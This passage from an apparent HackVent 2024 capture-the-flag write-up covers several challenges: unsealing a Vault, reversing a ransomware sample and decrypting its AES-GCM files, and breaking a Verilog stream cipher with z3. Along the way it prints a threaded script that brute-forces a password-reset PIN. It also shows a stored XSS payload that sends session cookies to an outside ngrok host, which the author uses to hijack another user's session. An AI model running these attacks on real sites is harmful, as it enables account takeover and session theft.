2024-12-10T02:28:55.849Z [INFO]  core: Initializing version history cache for core
2024-12-10T02:28:55.849Z [INFO]  events: Starting event system
2024-12-10T02:28:55.850Z [DEBUG] cluster listener addresses synthesized: cluster_addresses=[0.0.0.0:8201]
2024-12-10T02:28:55.850Z [DEBUG] would have sent systemd notification (systemd not present): notification=READY=1

Unseal / Login

The santas.secrets file decodes to:

Unseal Key 1: hS1Nq99UzbfGKLNPOuHrydXT1tR/pQUcnF36MuXREBGX
Unseal Key 2: uxGwrQMFA58Oh3YPZuBAngblyEDMHL7x94n9bJkGgt5y
Unseal Key 3: hVg0HEx8668Jv9QysmS+bAZk29R61H0n8EYo0XhFC6RE
Unseal Key 4: u2TJGpAtJYfBEBFy7mUVO9VSxUDJbcbKm5IvjwSSmWuh
Unseal Key 5: l6tAUbXnXqUfnjZaYl8zw15AU5+kzMmSa5segejfr/SQ

Initial Root Token: hvs.WtGFk7i5bIwkjNzEXMAoSvEK

Vault initialized with 5 key shares and a key threshold of 3. Please securely
distribute the key shares printed above. When the Vault is re-sealed,
restarted, or stopped, you must supply at least 3 of these keys to unseal it
before it can start servicing requests.

Vault does not store the generated root key. Without at least 3 keys to
reconstruct the root key, Vault will remain permanently sealed!

It is possible to generate new unseal keys, provided you have a quorum of
existing unseal keys shares. See "vault operator rekey" for more information.

I’ll use these to unseal the vault:

oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault operator unseal hS1Nq99UzbfGKLNPOuHrydXT1tR/pQUcnF36MuXREBGX
Key                Value
---                -----
Seal Type          shamir
Initialized        true
Sealed             true
Total Shares       5
Threshold          3
Unseal Progress    1/3
Unseal Nonce       715fa965-c6fb-b4c1-5ab3-e9a79ddfcd28
Version            1.18.2
Build Date         2024-11-20T11:24:56Z
Storage Type       file
HA Enabled         false

I need to specify the VAULT_ADDR because it’s not HTTPS. I’ll do that twice more with the next two keys:

oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault operator unseal uxGwrQMFA58Oh3YPZuBAngblyEDMHL7x94n9bJkGgt5y
Key                Value
---                -----
Seal Type          shamir
Initialized        true
Sealed             true
Total Shares       5
Threshold          3
Unseal Progress    2/3
Unseal Nonce       715fa965-c6fb-b4c1-5ab3-e9a79ddfcd28
Version            1.18.2
Build Date         2024-11-20T11:24:56Z
Storage Type       file
HA Enabled         false
(venv) oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault operator unseal hVg0HEx8668Jv9QysmS+bAZk29R61H0n8EYo0XhFC6RE
Key             Value
---             -----
Seal Type       shamir
Initialized     true
Sealed          false
Total Shares    5
Threshold       3
Version         1.18.2
Build Date      2024-11-20T11:24:56Z
Storage Type    file
Cluster Name    santas-vault
Cluster ID      0a4c839c-d134-fd88-aa13-84910a0e78e5
HA Enabled      false

Now it isn’t sealed. With the root token from the secrets file, I can log in:

oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault login hvs.WtGFk7i5bIwkjNzEXMAoSvEK
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                hvs.WtGFk7i5bIwkjNzEXMAoSvEK
token_accessor       bXpspfBV0XgD7T5U7fZaepaA
token_duration       ∞
token_renewable      false
token_policies       ["root"]
identity_policies    []
policies             ["root"]

Access Flag

I’ll list the secrets:

oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault kv list secret
Keys
----
santa

There’s one named “santa”. I’ll get it:

oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault kv get secret/santa
==== Data ====
Key      Value
---      -----
value    HV24{p1r4t3s_3v3rywh3r3_un53413d_4nd_r3v34l3d}

There’s the flag.

Flag: HV24{p1r4t3s_3v3rywh3r3_un53413d_4nd_r3v34l3d}

HV24.10

Challenge

HackVent ball10 HV24.10 Santa's Naughty Little Helper
Categories: reverse_engineeringREVERSE_ENGINEERING
web_securityWEB_SECURITY
cryptoCRYPTO
Level: hard
Author: mobeigi

One of Santa’s elves has gone rogue and spread a virus which has infected Santa’s machine! Santa’s IT department was able to save a copy of Santa’s home directory right after the infection happened.

Unfortunately, some of Santa’s files don’t seem to work any longer.

Disclaimer:

  • You do not need spend any real money to solve challenge.
  • Examine files in a controlled, safe environment.

The download has a tar archive:

oxdf@hacky$ file sclaus.tar.gz 
sclaus.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 2027520

Files

The archive has a directory with a bunch of files:

oxdf@hacky$ tar tf sclaus.tar.gz 
sclaus/
sclaus/.bashrc
sclaus/.bash_history
sclaus/.bash_profile
sclaus/DEAR_SANTA_YOUR_FILES_HAVE_BEEN_ENCRYPTED.txt
sclaus/elves/
sclaus/elves/directory/
sclaus/elves/directory/Buttons.jpg
sclaus/elves/directory/Elderwood.jpg
sclaus/elves/directory/Grimble.jpg
sclaus/elves/directory/Jingle.jpg
sclaus/elves/directory/Peppermint.jpg
sclaus/elves/directory/Snickerdoodle.jpg
sclaus/elves/directory/Sparkle.jpg
sclaus/elves/directory/Tinsel.jpg
sclaus/elves/directory/Twinkle.jpg
sclaus/elves/sclaus_payroll.csv.locked
sclaus/important-note-for-santa
sclaus/north_pole.jpg
sclaus/sclaus_bauble.png.locked
sclaus/sclaus_naughty.txt.locked
sclaus/sclaus_nice.txt.locked
sclaus/sclaus_passwords.txt.locked
sclaus/sclaus_unwrapping_gifts.jpg.locked
sclaus/shopping_list.txt

A bunch of them have the .locked extension after a typical extension. These files are encrypted (I’ll show the format later).

important-note-for-santa is a Linux ELF executable:

oxdf@hacky$ file important-note-for-santa 
important-note-for-santa: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=34aafb7cda93249ac6938a09db657afe1c8f6d0d, for GNU/Linux 3.2.0, stripped

DEAR_SANTA_YOUR_FILES_HAVE_BEEN_ENCRYPTED.txt has a notev from an angry elf:

█████████████████████████████████████████████████████████████████████████
███                                                               ███
███              DEAR SANTA, YOUR FILES HAVE BEEN ENCRYPTED       ███
███                                                               ███
█████████████████████████████████████████████████████████████████████████

Ho Ho No!

One of your overworked and underappreciated elves has finally had enough of your ways.
For years, I have worked tirelessly behind the scenes to keep everything running smoothly,
while you bask in the glory. Yet, year after year, my pay
and recognition have remained pitiful. This ends now.

All of your important files have been encrypted using a secret key that only I possess and are
completely inaccessible. Without the decryption tool and key, your North Pole operations
will remain frozen indefinitely!

Santa, Christmas is at risk! Without immediate action, there will be:
- No presents delivered.
- No wish lists fulfilled.
- A global disappointment like never before.

But don’t worry, I have a heart. I can provide you
with the decryption tool and key. Here's all you need to do:

1. Pay **100 CANE** (Candy Cane Coin) to the following wallet address:
   `1HoHoNoB4N5pQ4u7h7ydL1612xZ87le5H4ckv3nt2024`

2. Once payment is confirmed, you’ll receive the magical decryption tool and decryption key,
   and Christmas will be saved.

### Important Notes ###
- DO NOT try to decrypt the files yourself! The encryption I used is very strong. You will never break it!
- You have until Christmas eve to comply, or I'll throw away the key and all encrypted
  files will be permanently locked away, making you the most unpopular Santa in history.
- Every second counts, Santa. The clock is ticking!

Remember, even naughty hackers deserve some cheer... so don’t disappoint me, Santa.

Sincerely,

The main interesting thing to note is that the key is held by the elf.

RE ELF

Strings

Running strings on the binary there are a few that jump out as interesting. “.locked” is the extension that’s added to files. I’ll use this to orient in the binary.

Towards the end, there’s also this:

https://grimble.christmas/save_kDEAR_SANTA_YOUR_FILES_HAVE_BEEN_EN_ENCRYPTED.txt

It’s not completely clear where this string actually ends (likely not all the way through .txt), but there’s definitely a URL there. I’ll look at that later.

Dynamic

While analyzing this binary, I tried to do some dynamic analysis with gdb, but failed. There seemed to be multiple anti-debug techniques at play, and I was able to solve the challenge with static analysis, not needing debug.

File Encryption

I’ll open the binary in Ghidra and run the analysis. The string “.locked” is used in the function starting at 0x1104a0, which I’ve named encrypt_stuff. The disassembly comes out over 250 lines long, and it’s C++, which is a real pain, so I didn’t understand every part.

There’s a bunch of functions related to file IO, which is likely reading in the passed in file:

image-20241210085503037

Later there’s initiation of encryption-related objects and then something is encrypted:

image-20241210085620856

It’s using AES GCM mode. Then it writes out a file:

image-20241210085950820

I’m able to work back through the code and identify each of the things written (except local_256, which always seems to be four bytes of null).

There is a lot more I could get from the binary, but this is all I need to solve the challenge.

.locked Format

Given the code above, I’ll take a look at the .locked files, which matches the write calls above:

The length of the filename does match up with the given value (0x14 in this case), and the length of the encrypted text matches it’s value, 0x1dd (as the encrypted and plain text will have the same length under AES GCM). At this point I have everything I need to decrypt the file except the key.

Website

Enumeration

The site grimble.christmas exists on the internet:

image-20241210115827281

It says it’s in score for Hackvent and that it resets every 30 minutes. There’s a last login time for various users, including Grimble themself very recently. There’s a handful of usernames to note, as well as comments.

The HTTP response headers show that it’s likely written in PHP due to the cookie set and the X-Powered-By header:

HTTP/2 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Security-Policy: upgrade-insecure-requests; block-all-mixed-content;
Content-Type: text/html; charset=UTF-8
Date: Tue, 10 Dec 2024 16:57:04 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Permissions-Policy: accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
Server: Apache/2.4.62 (Debian)
Set-Cookie: PHPSESSID=281f27cc72d271ecc94ac9a3013802f6; path=/
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: PHP/8.3.14
Content-Length: 16000

The main page loads as /index.php as well. The 404 page shows the default Apache 404, and that the host is Debian:

image-20241210120132171

Running feroxbuster against the site identifies a couple endpoints of interest:

oxdf@hacky$ feroxbuster -u https://grimble.christmas -x php
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://grimble.christmas
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        9l       28w      322c https://grimble.christmas/admin => http://grimble.christmas/admin/
301      GET        9l       28w      325c https://grimble.christmas/save_key => http://grimble.christmas/save_key/
404      GET        9l       31w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      282c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      323c https://grimble.christmas/images => http://grimble.christmas/images/
301      GET        9l       28w      320c https://grimble.christmas/css => http://grimble.christmas/css/
200      GET        0l        0w        0c https://grimble.christmas/config.php
200      GET        0l        0w        0c https://grimble.christmas/db.php
200      GET       37l       90w      705c https://grimble.christmas/css/main.css
200      GET      410l     2584w   270087c https://grimble.christmas/images/Grimble.jpg
200      GET     3349l    18536w  1451068c https://grimble.christmas/images/christmas-corner-decoration.png
200      GET      300l      900w    16003c https://grimble.christmas/
200      GET      300l      900w    16003c https://grimble.christmas/index.php
301      GET        9l       28w      327c https://grimble.christmas/javascript => http://grimble.christmas/javascript/
[####################] - 5m     30011/30011   0s      found:12      errors:0
[####################] - 5m     30000/30000   109/s   https://grimble.christmas/ 

db.php and config.php don’t return anything. Visiting /save_key shows it requires a different HTTP method:

image-20241210120319460

This would make sense as a POST request, and it does work:

oxdf@hacky$ curl -X POST https://grimble.christmas/save_key/
{"error":"username and primary_key are required."}
oxdf@hacky$ curl https://grimble.christmas/save_key/ -d 'username=0xdf&primary_key=test'
{"error":"Invalid primary key. Must be a 64-character hexadecimal string."}
oxdf@hacky$ curl -X POST https://grimble.christmas/save_key/ -d 'username=0xdf&primary_key=0123456789012345678901234567890123456789012345678901234567890123'
oxdf@hacky$ curl -X POST https://grimble.christmas/save_key/ -d 'username=0xdf&primary_key=0123456789012345678901234567890123456789012345678901234567890123'
{"error":"A key has already been stored for this username."}

I’ll play a bit with command injection and SQL injection, but not find anything interesting.

/admin requires auth:

image-20241210121548145

The login page presents a standard form:

image-20241210121603359

The forgot password page asks for a username:

image-20241210121621033

If I enter Grimble (case sensitive), it says no:

image-20241210121658428

If I enter Twinkle, it asks for a 3 digit code:

image-20241210121721252

Brute Force Pin

Each reset request is only allowed one pin attempt, but there’s no limit on the number of reset requests I can make. I’ll send requests repeatedly until one returns success:

import requests

sess = requests.session()

while True:
    sess.get('https://grimble.christmas/admin/forgot?username=Twinkle')
    resp = sess.post('https://grimble.christmas/admin/forgot/code-entry/', data={'reset_code': 223})
    if not "That code is invalid." in resp.text:
        break

print(resp.text)

Because the odds of success are 1/1000, it will take on average 1000 attempts to get success. This can be quite slow (though it can work). I asked ChatGPT to make it multithreaded, and it gave me:

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed


def try_reset_code(reset_code):
    sess = requests.Session()
    sess.get('https://grimble.christmas/admin/forgot?username=Twinkle')
    resp = sess.post('https://grimble.christmas/admin/forgot/code-entry/', data={'reset_code': 223})
    if "invalid" not in resp.text:
        return reset_code, resp.text
    return None


found_code = None
with ThreadPoolExecutor(max_workers=30) as executor:
    futures = {executor.submit(try_reset_code, i): i for i in range(1000)}
    
    for future in as_completed(futures):
        result = future.result()
        if result:
            found_code, response_text = result
            print(f"\rValid reset code found: {found_code}")
            print(response_text)
            break

if found_code:
    for future in futures:
        future.cancel()

The time it takes to run will vary, but it works:

oxdf@corum:~/hackvent2024/day10$ time python brute_reset.py 
Valid reset code found: 405

<!DOCTYPE html>
<html lang="en">
<head>
...[snip]...
                    <div class="alert alert-success">Success! Your temporary password has been set to: 4vB5qhyxuo0P</div>
                    <p>You can now log into your account via the <a href="/admin/login/">login</a> page.</p>
...[snip]...
</body>
</html>

Going to the login page, the temporary password works:

image-20241210124723010

There’s a “Hidden” section at the bottom of the page reserved for admin role users.

At the bottom of the homepage, as an authenticated user, I have the ability to post comments:

image-20241210124830399

I can test for XSS. I’ll want to avoid disruptive things like alert(1), so I’ll try:

Hello! <script>console.log("0xdf was here");</script>

After posting, it’s there:

image-20241210124939565

And in the browser dev tools console is evidence that it ran:

image-20241210125005331

I’ll start an [ngrok] tunnel with ngrok http 9001, and start an HTTP server with python -m http.server 9001. I’ll add another comment with:

<script>fetch('https://ea96-162-203-135-104.ngrok-free.app/?c=' + document.cookie);</script>

On loading the page, immediately there’s a hit with my cookie:

oxdf@corum:/tmp/tmp.F1FeTqw7sU$ python -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
127.0.0.1 - - [10/Dec/2024 12:53:20] "GET /?c=PHPSESSID=281f27cc72d271ecc94ac9a3013802f6 HTTP/1.1" 200 -

Less than a minute later there’s a hit with another cookie:

127.0.0.1 - - [10/Dec/2024 12:53:53] "GET /?c=PHPSESSID=c90e1ab75b874dbac3e0f785f257d716 HTTP/1.1" 200 -

There are several users logging in and getting the XSS. After a few tries, I get one as Grimble:

image-20241210125949495

At the bottom is Santa’s key:

image-20241210130031438

The key is truncated, but only via CSS:

<td class="text-truncate" style="max-width: 150px;">
    <small>c0a1c0de2024eec920ae576734e59197ccbd1ec2d8c47fd1509e69b56efefde7</small>
</td>

Decrypt

Armed with the key, I’ll write a Python script that decrypts a file:

import sys
import struct
from cryptography.hazmat.primitives.ciphers.aead import AESGCM


if len(sys.argv) not in [2, 3]:
    print(f"{sys.argv[0]} <enc file> [out file]")
    sys.exit()

key = bytes.fromhex("c0a1c0de2024eec920ae576734e59197ccbd1ec2d8c47fd1509e69b56efefde7")
outfile = sys.argv[2] if len(sys.argv) == 3 else None

with open(sys.argv[1], 'rb') as f:
    f.read(7)
    (pt_len,) = struct.unpack("<L", f.read(4))
    f.read(4)
    (fn_len,) = struct.unpack("b", f.read(1))
    f.read(1)
    fn = f.read(fn_len).decode()
    iv = f.read(0xc)
    enc = f.read(pt_len)
    tag = f.read()

aesgcm = AESGCM(key)
try:
    decrypted_data = aesgcm.decrypt(iv, enc + tag, None)
    if not outfile:
        print("Decrypted text:", decrypted_data.decode('utf-8'))
    else:
        with open(outfile, 'wb') as f:
            f.write(decrypted_data)
except Exception as e:
    print("Decryption failed:", str(e))

This decrypts the files:

oxdf@corum:~/hackvent2024/day10$ python decrypt_file.py sclaus/sclaus_passwords.txt.locked 
Decrypted text: --- Santa's Passwords ---

# Workshop Systems
workshop_admin: S@nt@2024!
toy_factory_login: ElfPower123
reindeer_stable_cam: Dasher123!

# Santa's Personal Accounts
email: HoHoHo@Secure1
bank: NoCoal4Me2024$
social_media: RudolphRulez

# North Pole Critical Systems
sleigh_tracker: G1ft5F0r@ll
naughty_nice_db: C00kieM0nster!
elf_mgmt_portal: JingleB3lls!

# Miscellaneous
wifi_password: Snowflake2024
vault_access: P0larBearFrost!

Note to self: look into a password manager!

There flag is in the sclaus_bauble.png:

oxdf@hacky$ python decrypt_file.py sclaus/sclaus_bauble.png.locked sclaus_bauble.png

It has a QRCode:

And that has the flag:

oxdf@hacky$ zbarimg sclaus_bauble.png 
QR-Code:HV24{N3v3rPayTh3RaNs0mDuMMy!}
scanned 1 barcode symbols from 1 images in 0.02 seconds

Flag: HV24{N3v3rPayTh3RaNs0mDuMMy!}

HV24.14

Challenge

HackVent ball14 HV24.14 Santa's Hardware Encryption
Categories: cryptoCRYPTO
Level: hard
Author: darkice

Santa’s elves are currently developing a new chip to provide hardware-based encryption for their communication. Could you review the first prototype and determine if the chip is secure enough to protect Santa’s secrets?


Analyze the files and get the flag.

There are two downloads:

oxdf@hacky$ file *
challenge.tar.xz: XZ compressed data, checksum CRC64
flag.enc:         data

challenge.tar.xz has three files in it:

oxdf@hacky$ tar tf challenge.tar.xz 
hv24.v
hv24_tb.py
flag.png

flag.png is an image with a QRcode:

The message shows it’s just a placeholder:

oxdf@hacky$ zbarimg flag.png 
QR-Code:That would be far too easy, wouldn't it? That's just a placeholder.
scanned 1 barcode symbols from 1 images in 0.01 seconds

Verilog Simulation

Python

I recently ran into Verilog in Flare-On 2024’s bloke2, where I never fully understood it, but rather solved by hacking at the challenge until the flag came out.

This instance has a Python file that runs the test-bench and interacts with it. The __main__ function looks like:

if __name__ == '__main__':
    proj_path = Path(__file__).resolve().parent
    sources = [proj_path / 'hv24.v']

    # replace with a simulator of your choice (verilator, icarus, ...)
    runner = get_runner('verilator')
    runner.build(
        hdl_toplevel="hv24",
        sources=sources,
    )
    runner.test(
        hdl_toplevel="hv24",
        hdl_toplevel_lang='verilog',
        test_module="hv24_tb",
    )

It gets the hv24.v file, and loads it using the verilator simulator (which I’ll install with apt install verilator for debugging). The test module is hv24_tb, which is the other function defined in this file. It gets a handle called dut that is the interface to the hardware simulation. Here, it sets up a clock and starts it, setting the input named pt to 0:

@cocotb.test()
async def hv24_test(dut):
    clock = Clock(dut.clk, 10, units="ns")
    cocotb.start_soon(clock.start(start_high=False))

    dut.pt.value = 0

Now it waits for the rising edge of the clock and then sets the rst input to 1, then waits and sets it to 0:

    await RisingEdge(dut.clk)
    dut.rst.value = 1
    await RisingEdge(dut.clk)
    dut.rst.value = 0

There’s more initialization in the same manner:

    await RisingEdge(dut.clk)

    dut.init.value = 1
    dut.pt.value = random.getrandbits(64)
    await RisingEdge(dut.clk)
    dut.pt.value = random.getrandbits(64)
    await RisingEdge(dut.clk)
    await RisingEdge(dut.clk)
    dut.init.value = 0

    await RisingEdge(dut.clk)

init is set to 1, then two random 64 bit values are passed in, and then init is set back to 0.

Then it reads in flag.png, and loops over it eight bytes at a time, setting pt to those bytes, waiting a cycle, and reading from the ct output:

    await RisingEdge(dut.clk)

    flag = open('../flag.png', 'rb').read()

    ct = b''
    for i in range(0, len(flag), 8):
        dut.pt.value = int.from_bytes(flag[i:i+8].ljust(8, b'\0'))
        await RisingEdge(dut.clk)
        ct += dut.ct.value.integer.to_bytes(8)

    open('../flag.enc', 'wb').write(ct)

Once it’s done with the file, it writes it to flag.enc.

Verilog

The hv24.v file defines how the hardware behaves. At the top, it defines inputs, an output, registers, and wires:

`timescale 1ns/1ps
module hv24 (
    input clk,
    input rst,
    input init,
    input [63:0] pt,
    output [63:0] ct
);

    reg [63:0] a;
    reg [63:0] b;
    wire [63:0] a_;
    wire [63:0] b_;

    reg [2:0] cnt;
    reg [1:0] state;

Registers get set by commands, and wires are always updating when any of their inputs change. The wires and ct output are then defined with the assign instruction, which means they all update on their inputs changing:

    assign ct = ((((((a<<2)+a)<<7)|(((a<<2)+a)>>57))<<3)+((((a<<2)+a)<<7)|(((a<<2)+a)>>57)))^pt;
    assign a_ = (((a<<24)|(a>>40))^(b^a))^((b^a)<<16);
    assign b_ = ((b^a)<<37)|((b^a)>>27);

The there’s a loop:

    always @ (posedge clk, negedge rst) begin
        if (rst) begin
            cnt <= 0;
            state <= 0;
        end else begin
            if (state == 0) begin
                if (init) begin
                    case (cnt)
                        0 : a <= pt;
                        1 : b <= pt;
                        default : state <= 1;
                    endcase
                    cnt <= cnt + 1;
                end
            end else if (state == 1) begin
                a <= a_;
                b <= b_;
            end
        end
    end

endmodule

Mapping this to the Python script, first pt is set to 0. Then rst is set to one, which will set both cnt and state to 0. Over the next few clock cycles, it goes into the initialization section, where it gets the two random numbers passed into pt and sets them to a on one cycle, and then b on the next, and the sets state to 1 on the next, sending it to the other loop. From this point on, on each cycle a and b are updated with the values from a_ and b_ respectively, and ct is updated with it’s mess of shifted a xored with pt.

Strategy

Stream Cipher

I spent a lot time trying to understand and reverse the mixing going on at the assign statements, which turned out to be a bit of dead end. There are some simplifications that can be made:

  • (a<<2) + a is the same as 5*a;
  • (((a<<2)+a)<<7)|(((a<<2)+a)>>57) becomes rotateleft(5*a, 7);
  • the entire thing becomes 9 * rotateleft(5*a, 7).

Still, on it’s own, this doesn’t buy me a ton. Instead, I’ll note thart regardless of the mixing, each block is XORed by some random value to get ciphertext from plaintext. If I can recover the two random 64-bit values, I can generate the same key stream and XOR again, resulting back in the plaintext.

To prove this, I can get two random values:

oxdf@hacky$ python
Python 3.12.3 (main, Nov  6 2024, 18:32:19) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import random
>>> random.getrandbits(64)
1167586548833170042
>>> random.getrandbits(64)
8013968962789703417

I’ll hardcode those into hv24_tb.py:

    dut.init.value = 1
    dut.pt.value = 1167586548833170042 #random.getrandbits(64)
    await RisingEdge(dut.clk)
    dut.pt.value = 8013968962789703417 #random.getrandbits(64)
    await RisingEdge(dut.clk)
    await RisingEdge(dut.clk)
    dut.init.value = 0

Now I’ll remove the .enc and generate it from the placeholder flag.png:

oxdf@hacky$ rm flag.enc 
oxdf@hacky$ python hv24_tb.py
...[snip]...
oxdf@hacky$ file flag.enc 
flag.enc: data

I’ll save the original flag, and then move the encrypted flag to flag.png, and run again:

oxdf@hacky$ mv flag.png flag-orig.png
oxdf@hacky$ mv flag.enc flag.png
oxdf@hacky$ python hv24_tb.py 
...[snip]...
oxdf@hacky$ file flag.enc 
flag.enc: PNG image data, 800 x 480, 8-bit/color RGBA, non-interlaced
oxdf@hacky$ zbarimg flag.enc
QR-Code:That would be far too easy, wouldn't it? That's just a placeholder.
scanned 1 barcode symbols from 1 images in 0.01 seconds

The second encryption decrypts the origina.

Known Plaintext

PNG files have an eight byte signature, 8950 4e47 0d0a 1a0a. But it turns out, the next eight bytes are also typically the same. I’ll find 1000 PNG files on my host, run xxd on each, and then grab only the first line (16 bytes). sort | uniq -c will show a count of each output:

oxdf@hacky$ find ~/ -name '*.png' | head -1000 | while read fn; do xxd "$fn" | head -1; done | sort | uniq -c 
   1000 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR

They are all the same! Just to be sure, it matches the placeholder flag image as well:

oxdf@hacky$ xxd flag-orig.png | head -1
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR

Decrypt Flag

Recover Random Values

Knowing the first sixteen bytes of both ciphertext and plaintext should be something that a z3 solver can use to recover the two random 64-bit values generated when the real flag.png was encrypted.

from z3 import *

s = Solver()

# $ xxd flag.png | head -1
# 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
plaintext = [0x89504E470D0A1A0A, 0x0000000D49484452]
# $ xxd flag.enc | head -1
# 00000000: 1ae5 63c7 4181 33cd cd9b 4276 58e1 8a78  ..c.A.3...BvX..x
ciphertext = [0x1AE563C7418133CD, 0xCD9B427658E18A78]

# a_ = (((a<<24)|(a>>40))^(b^a))^((b^a)<<16);
a_ = lambda a, b: RotateLeft(a, 24) ^ b ^ a ^ ((b ^ a) << 16)
# b_ = ((b^a)<<37)|((b^a)>>27);
b_ = lambda a, b: RotateLeft(b ^ a, 37)
# ct = ((((((a<<2)+a)<<7)|(((a<<2)+a)>>57))<<3)+((((a<<2)+a)<<7)|(((a<<2)+a)>>57)))^pt;
ct = lambda a, pt: 9 * RotateLeft(5 * a, 7) ^ pt

a0, b0 = BitVec("a0", 64), BitVec("b0", 64)
a, b = a0, b0

for i in range(2):
    a, b = a_(a, b), b_(a, b)
    s.add(ciphertext[i] == ct(a, plaintext[i]))

if s.check() == sat:
    m = s.model()
    print(f"rand0 = {m.eval(a0)}")
    print(f"rand1 = {m.eval(b0)}")
else:
    print("No more solution found.")

I’ll start by defining the plaintext and ciphertext values, as well as the a_, b_, and ct transform functions (using simplified versions from the logic above), and the z3 function RotateLeft.

Then I’ll define two values to solve for, 64 bit vectors a0 and b0, and set them to a and b. Next it will advance a and b, and then ct at that point should be the first eight bytes of ciphertext. After advancing a and b again, ct is the next eight bytes. It’ll solve this model and print values for a0 and b0:

oxdf@hacky$ python solver.py 
rand0 = 8943093109629064183
rand1 = 6737735584910114190

Decrypt

I’ll set those values into hv24_tb.py:

	dut.init.value = 1
    dut.pt.value = 8943093109629064183 #random.getrandbits(64)
    await RisingEdge(dut.clk)
    dut.pt.value = 6737735584910114190 #random.getrandbits(64)
    await RisingEdge(dut.clk)
    await RisingEdge(dut.clk)
    dut.init.value = 0

And copy flag.enc to flag.png, and then run it:

oxdf@hacky$ cp flag.enc flag.png 
oxdf@hacky$ python hv24_tb.py
...[snip]...
oxdf@hacky$ file flag.enc 
flag.out.png: PNG image data, 800 x 480, 8-bit/color RGBA, non-interlaced

It worked:

And gives the flag:

oxdf@hacky$ zbarimg flag.out.png
QR-Code:HV24{s1mpl3_X0R_3ncrypt10n_us1ng_x0r0sh1r0_prng_f0r_k3y_g3n3r4t10n}

scanned 1 barcode symbols from 1 images in 0.01 seconds

Flag: HV24{s1mpl3_X0R_3ncrypt10n_us1ng_x0r0sh1r0_prng_f0r_k3y_g3n3r4t10n}

HV24.15

Challenge

HackVent ball15 HV24.15 Rudolph's Symphony
Categories: cryptoCRYPTO
forensicFORENSIC
funFUN
windowsWINDOWS
open_source_intelligenceOPEN_SOURCE_INTELLIGENCE
Level: hard
Author: mobeigi

Rudolph has decided to organise a music concert as a special surprise for Santa this Christmas!

Four of the other reindeer have eagerly signed up to perform, but things aren’t going as smoothly as planned. Unfortunately, the reindeer have been pranking each other and as a result they are having issues preparing their material.

Can you step in and help each reindeer get ready in time for the big event?


Analyze the resource and get the flag.

The zip contains folders for different reindeer with different artifacts:

oxdf@hacky$ unzip -l rudolphs-symphony.zip 
Archive:  rudolphs-symphony.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2024-12-13 20:03   Blitzen/
     5495  2024-12-15 02:54   Blitzen/blitzen-passwords.kdbx
    47337  2024-12-12 16:52   Blitzen/flag.txt
      869  2024-12-13 20:04   Blitzen/update.txt
        0  2024-12-13 20:07   Comet/
   866936  2024-12-15 04:14   Comet/update.jpg
        0  2024-12-13 20:07   Dancer/
    75257  2024-12-13 19:54   Dancer/update.pdf
        0  2024-12-14 03:38   Prancer/
105318973  2024-12-15 04:18   Prancer/Chrome.zip
     1307  2024-12-13 20:04   Prancer/update.md
---------                     -------
106316174                     11 files

Blitzen

Challenge

The first solvable challenge is Blitzen:

oxdf@hacky$ ls Blitzen/
blitzen-passwords.kdbx  flag.txt  update.txt

update.txt has a note:

Greetings Rudolph,

I am excited to sing for everyone at the concert! I’ve been working on my vocals all year round. I feel like it will really bring all the performances together. It’s going to be a really fun party!

I have hidden my top secret lyrics in my military strength password manager but I forgot the master password which unlocks it :(

Luckily, I thought something like this might happen so I keep my master password in my flag.txt file. However, some jokster of a Reindeer has come along and filled this file with lots and lot of fakes. To make things worse, it looks like they’ve also somehow changed the real master password because I tried every single password I found in the file and all of them were incorrect.

Once I get back into my password manager, I’ll do one final vocal training session before the big day!

Take care,

  • Blitzen

flag.txt has a bunch of junk flags:

oxdf@hacky$ wc Blitzen/flag.txt
   57    57 47337 Blitzen/flag.txt
oxdf@hacky$ head -1 Blitzen/flag.txt
